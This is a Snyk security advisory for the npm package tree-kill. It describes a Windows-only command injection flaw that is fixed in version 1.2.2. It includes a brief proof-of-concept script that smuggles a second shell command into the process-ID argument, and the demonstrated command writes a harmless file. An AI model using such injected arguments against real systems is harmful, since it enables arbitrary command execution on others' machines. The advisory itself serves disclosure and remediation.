Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tree-kill
to version 1.2.2 or higher.
tree-kill is a package to kill all processes in the process tree, including the root process.
Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command
within tree-kill
and treekill
that will be executed without any check.
Note: This vulnerability is only applicable if the package is used on a Windows operating system.
//poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
HACKED.txt
will be created, containing the HACKED
string